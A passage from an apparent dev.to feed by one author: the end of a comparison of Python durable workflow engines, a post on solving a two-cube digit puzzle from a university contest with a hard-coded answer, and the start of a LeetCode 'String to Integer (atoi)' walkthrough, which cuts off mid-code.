&lt;p&gt;A durable workflow engine helps you run code reliably and safely, even if your app crashes, your machine restarts, or network hiccups occur. They’re particularly useful for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Long-running processes (hours, days, or even months)&lt;/li&gt;
&lt;li&gt;    Background jobs and automation&lt;/li&gt;
&lt;li&gt;    Retry, compensation, and saga patterns&lt;/li&gt;
&lt;li&gt;    Observability &amp;amp; external signaling&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  I’ll compare four approaches:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;   Temporal — the battle-tested distributed platform&lt;/li&gt;
&lt;li&gt;    DBOS Transact — lightweight embedded durability in Postgres&lt;/li&gt;
&lt;li&gt;    Prefect 3.x — Pythonic, open-source workflow orchestration&lt;/li&gt;
&lt;li&gt;    Custom Python engine — pure Python + your own persistence&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. Temporal (temporalio/sdk-python)
&lt;/h2&gt;

&lt;p&gt;Temporal is a production-proven, distributed workflow engine originally built at Uber (as Cadence). It’s used by DoorDash, Snap, Stripe, and others.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ferj8i8vl52zu80xhm91x.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ferj8i8vl52zu80xhm91x.jpg" alt="Mahdi Shamlou" width="800" height="419"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How it works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Workflows as code (functions/classes)&lt;/li&gt;
&lt;li&gt;    Activities separated from orchestration&lt;/li&gt;
&lt;li&gt;    External Temporal server handles task durability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pros:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Maximum durability — even months-long workflows survive anything&lt;/li&gt;
&lt;li&gt;    Signals, queries, workflow versioning, child workflows&lt;/li&gt;
&lt;li&gt;    Multi-language support (Python, Go, Java, TS, .NET)&lt;/li&gt;
&lt;li&gt;    Great observability (Temporal Web UI / Cloud)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Requires server/cluster → more ops complexity&lt;/li&gt;
&lt;li&gt;    Higher learning curve and more code&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  2. DBOS Transact (dbos-transact-py)
&lt;/h2&gt;

&lt;p&gt;DBOS Transact is an embedded durable engine for Python backed by Postgres. Think of it as “durable Python without leaving your app.”&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zdgxy0bg1hu6j5ae6av.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zdgxy0bg1hu6j5ae6av.jpg" alt="Mahdi Shamlou" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How it works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Annotate normal Python functions with @workflow and &lt;a class="mentioned-user" href="https://dev.to/step"&gt;@step&lt;/a&gt; decorators&lt;/li&gt;
&lt;li&gt;    Each step automatically checkpoints its state in Postgres&lt;/li&gt;
&lt;li&gt;    On crash/restart, workflow resumes from last checkpoint&lt;/li&gt;
&lt;li&gt;    External events or signals can be sent with recv() / send() methods&lt;/li&gt;
&lt;li&gt;    Minimal changes to your existing code — the library handles durability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pros:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Minimal code changes → easy to adopt&lt;/li&gt;
&lt;li&gt;    Lightweight, fast, low ops overhead&lt;/li&gt;
&lt;li&gt;    Great performance for embedded durability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Tied to Postgres&lt;/li&gt;
&lt;li&gt;    Fewer advanced features than Temporal&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  3. Prefect (Prefect 3.x)
&lt;/h2&gt;

&lt;p&gt;Prefect is a Python-first workflow orchestration framework — great for data pipelines, ML workflows, and automation tasks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37mgljq8qe5pxx7wzffa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37mgljq8qe5pxx7wzffa.png" alt="Mahdi Shamlou" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How it works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Define workflows with &lt;a class="mentioned-user" href="https://dev.to/flow"&gt;@flow&lt;/a&gt; and tasks with @task decorators&lt;/li&gt;
&lt;li&gt;    Each task execution is automatically tracked and persisted (checkpointing)&lt;/li&gt;
&lt;li&gt;    Flows can be suspended/resumed manually or via events&lt;/li&gt;
&lt;li&gt;    Result persistence allows retries, caching, and skipping already-completed tasks&lt;/li&gt;
&lt;li&gt;    Optional Prefect server/agent UI provides real-time observability and control&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pros:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Extremely Pythonic → minimal code friction&lt;/li&gt;
&lt;li&gt;    Excellent UI and monitoring&lt;/li&gt;
&lt;li&gt;    Durable execution for long-running flows&lt;/li&gt;
&lt;li&gt;    Open-source, hybrid execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Durability is checkpoint-based → not full deterministic replay like Temporal&lt;/li&gt;
&lt;li&gt;    Python-only (no multi-language support)&lt;/li&gt;
&lt;li&gt;    Some advanced saga patterns require manual handling&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4. Pure Python Custom Engine
&lt;/h2&gt;

&lt;p&gt;You could roll your own workflow engine using just Python + a DB or file store.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37xskctrf6m04mf067t9.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37xskctrf6m04mf067t9.jpg" alt="Mahdi Shamlou" width="800" height="534"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How it works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Store workflow instances in a table with workflow ID, current step, status, and data&lt;/li&gt;
&lt;li&gt;    Poll a queue (e.g., Redis, RQ, Celery) and execute steps based on stored state&lt;/li&gt;
&lt;li&gt;    Implement retry, timeout, and compensation manually&lt;/li&gt;
&lt;li&gt;    Signals/events handled with a custom event table or pub/sub system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pros:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Full control, zero dependencies&lt;/li&gt;
&lt;li&gt;    Simple for very small workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Very easy to get wrong — lost state, duplicates, race conditions&lt;/li&gt;
&lt;li&gt;    No UI or observability out-of-the-box&lt;/li&gt;
&lt;li&gt;    Maintenance grows with complexity&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  My Take: Which One Should You Use?
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Start with Prefect or DBOS Transact :&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;    Prefect: Best for Python workflows, great UI, caching, event-driven automations. Durable execution with minimal overhead.&lt;/li&gt;
&lt;li&gt;    DBOS Transact: Ultra-lightweight, embedded durability in Postgres. Great if you want minimal footprint and existing Postgres usage.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Switch to Temporal when you outgrow the lighter options&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;    Need full deterministic replay, months-long workflows, multi-language, or enterprise-scale reliability.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Custom Python engines are mostly for learning, experiments, or extremely simple workflows.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Want More?
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this deep dive into workflow engines, you might like my other article:&lt;br&gt;
Subscribe to the Medium newsletter&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/mahdi0shamlou/how-i-won-an-algorithm-competition-at-university-with-a-smart-trick-mahdi-shamlou-2odk"&gt;How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4553ses7eyufzw0ibpk3.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4553ses7eyufzw0ibpk3.jpeg" alt="Mahdi Shamlou" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In that post, I share a clever approach that helped me solve tricky algorithm problems efficiently — a real-life example of strategy + code. 🚀&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>programming</category>
      <category>designsystem</category>
      <category>ai</category>
      <category>python</category>
    </item>
    <item>
      <title>How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Thu, 19 Feb 2026 12:21:57 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/how-i-won-an-algorithm-competition-at-university-with-a-smart-trick-mahdi-shamlou-2odk</link>
      <guid>https://dev.to/mahdi0shamlou/how-i-won-an-algorithm-competition-at-university-with-a-smart-trick-mahdi-shamlou-2odk</guid>
      <description>&lt;p&gt;Hi everyone,&lt;br&gt;
Mahdi Shamlou here 🚀&lt;/p&gt;

&lt;p&gt;Today I want to share something different from my LeetCode posts.&lt;/p&gt;

&lt;p&gt;Recently, I participated in an algorithm &amp;amp; programming competition at Islamic Azad University — and I won! 🎉&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmt41hbuxiheoj0wez0g.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmt41hbuxiheoj0wez0g.jpeg" alt="Mahdi Shamlou" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The contest had 4 problems, and I want to start with the first one because it taught me an important lesson about thinking before coding.&lt;/p&gt;


&lt;h2&gt;
  
  
  🧩 Problem 1 — Two Cubes Puzzle
&lt;/h2&gt;

&lt;p&gt;We had to design &lt;strong&gt;two cubes with digits on their faces&lt;/strong&gt; so that we could display every number from &lt;strong&gt;0 to n&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5nyte7budh38y8ubexjn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5nyte7budh38y8ubexjn.png" alt="Mahdi Shamlou" width="800" height="672"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Each cube has 6 faces (6 digits).&lt;/li&gt;
&lt;li&gt;By placing the cubes side-by-side, we must form all numbers from &lt;strong&gt;0 → n&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;If possible → output cube configuration&lt;/li&gt;
&lt;li&gt;If impossible → return &lt;code&gt;"Impossible"&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Important detail:&lt;/p&gt;

&lt;p&gt;We &lt;strong&gt;cannot rotate 6 to become 9&lt;/strong&gt;.&lt;br&gt;
So if we need digit 9, it must exist explicitly on a cube.&lt;/p&gt;


&lt;h2&gt;
  
  
  💡 My Strategy
&lt;/h2&gt;

&lt;p&gt;At first glance, this looks like a brute-force search problem:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Generate combinations&lt;/li&gt;
&lt;li&gt;Test permutations&lt;/li&gt;
&lt;li&gt;Check all numbers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But I realized something:&lt;/p&gt;

&lt;p&gt;👉 The number of valid configurations is extremely limited.&lt;/p&gt;

&lt;p&gt;So instead of writing a complex generator, I solved the cube puzzle &lt;strong&gt;manually on paper first&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;After finding the correct configuration, I simply returned that fixed solution in code.&lt;/p&gt;

&lt;p&gt;No brute force.&lt;br&gt;
No heavy computation.&lt;br&gt;
Just logic.&lt;/p&gt;


&lt;h2&gt;
  
  
  ❗ The Impossible Case
&lt;/h2&gt;

&lt;p&gt;Because we need digit 9 explicitly and cannot reuse 6 as 9:&lt;/p&gt;

&lt;p&gt;👉 If &lt;strong&gt;n &amp;gt; 30&lt;/strong&gt;, the answer is &lt;code&gt;"Impossible"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;30 is the maximum achievable upper bound with valid cube digit placement.&lt;/p&gt;


&lt;h2&gt;
  
  
  🐍 Python Implementation
&lt;/h2&gt;

&lt;p&gt;Here is the corrected Python version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;two_cubes_solution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Impossible case
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Impossible&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="c1"&gt;# Pre-calculated cube faces (solved manually)
&lt;/span&gt;    &lt;span class="n"&gt;cube1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;cube2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cube1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cube2&lt;/span&gt;


&lt;span class="c1"&gt;# Example usage
&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;two_cubes_solution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🚀 Why This Approach Won
&lt;/h2&gt;

&lt;p&gt;✔ O(1) time&lt;br&gt;
✔ O(1) space&lt;br&gt;
✔ Zero computation overhead&lt;br&gt;
✔ Guaranteed correctness&lt;/p&gt;

&lt;p&gt;The key lesson:&lt;/p&gt;

&lt;p&gt;Sometimes the smartest algorithm is solving the logic once and letting the code stay simple.&lt;/p&gt;




&lt;p&gt;I’ll share the next competition problem soon — that one was much more algorithm-heavy 😄&lt;/p&gt;

&lt;p&gt;Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>algorithms</category>
      <category>computerscience</category>
      <category>devjournal</category>
      <category>programming</category>
    </item>
    <item>
      <title>Mahdi Shamlou | Solving LeetCode #8: String to Integer (atoi) — Step by Step</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Sat, 31 Jan 2026 12:02:11 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-8-string-to-integer-atoi-step-by-step-426a</link>
      <guid>https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-8-string-to-integer-atoi-step-by-step-426a</guid>
      <description>&lt;p&gt;Hey everyone! &lt;strong&gt;Mahdi Shamlou&lt;/strong&gt; here — continuing my LeetCode classic problems series 🚀&lt;/p&gt;

&lt;p&gt;After [&lt;a href="https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-7-reverse-integer-my-math-based-reversal-with-overflow-safety-p95"&gt;#7 Reverse Integer&lt;/a&gt; (&lt;a href="https://dev.to/mahdi0shamlou"&gt;See the list that I solved&lt;/a&gt;)], today I jumped into Problem #8 — String to Integer (atoi).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuggjoy8cmfpslsufak9g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuggjoy8cmfpslsufak9g.png" alt="Mahdi Shamlou | مهدی شاملو" width="300" height="168"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At first glance, this one looks easy… but once you start reading the rules carefully, you realize it’s all about edge cases 😅&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem Statement:
&lt;/h2&gt;

&lt;p&gt;Implement the myAtoi(string s) function, which converts a string to a 32-bit signed integer.&lt;/p&gt;

&lt;p&gt;The algorithm should:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;    Ignore leading whitespace&lt;/li&gt;
&lt;li&gt;    Check for an optional + or - sign&lt;/li&gt;
&lt;li&gt;    Read digits until a non-digit is found&lt;/li&gt;
&lt;li&gt;    Clamp the result to the 32-bit signed integer range: [-²³¹, ²³¹ − 1]&lt;/li&gt;
&lt;li&gt;    Return 0 if no valid conversion exists&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Input: "42"
Output: 42
----
Input: "   -42"
Output: -42
----
Input: "4193 with words"
Output: 4193
----
Input: "words and 987"
Output: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My Thought Process&lt;/p&gt;

&lt;p&gt;When I started, I told myself:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Okay… don’t panic. Just follow the rules one by one. just do it !&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So I broke the problem into simple steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;    Skip all leading whitespaces&lt;/li&gt;
&lt;li&gt;    Detect the sign (+ or -)&lt;/li&gt;
&lt;li&gt;    Read digits and build the number&lt;/li&gt;
&lt;li&gt;    Handle overflow before it happens&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;That last part is super important — Python won’t overflow, but LeetCode expects 32-bit behavior.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  My Solution (Clean &amp;amp; Safe)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Solution&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;myAtoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        first of all i think i can just jump empty section of s

        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="c1"&gt;# Step 1: Skip whitespaces
&lt;/span&gt;        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

        &lt;span class="c1"&gt;# Step 3: find sign
&lt;/span&gt;        &lt;span class="n"&gt;sign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;sign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;+&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

        &lt;span class="c1"&gt;# Step 4: read the s for findig ints 
&lt;/span&gt;        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="n"&gt;INT_MAX_OF_OVERFELLOW&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;   &lt;span class="c1"&gt;# 2147483647
&lt;/span&gt;        &lt;span class="n"&gt;INT_MIN_OF_OVERFELLOW&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;      &lt;span class="c1"&gt;# -2147483648
&lt;/span&gt;
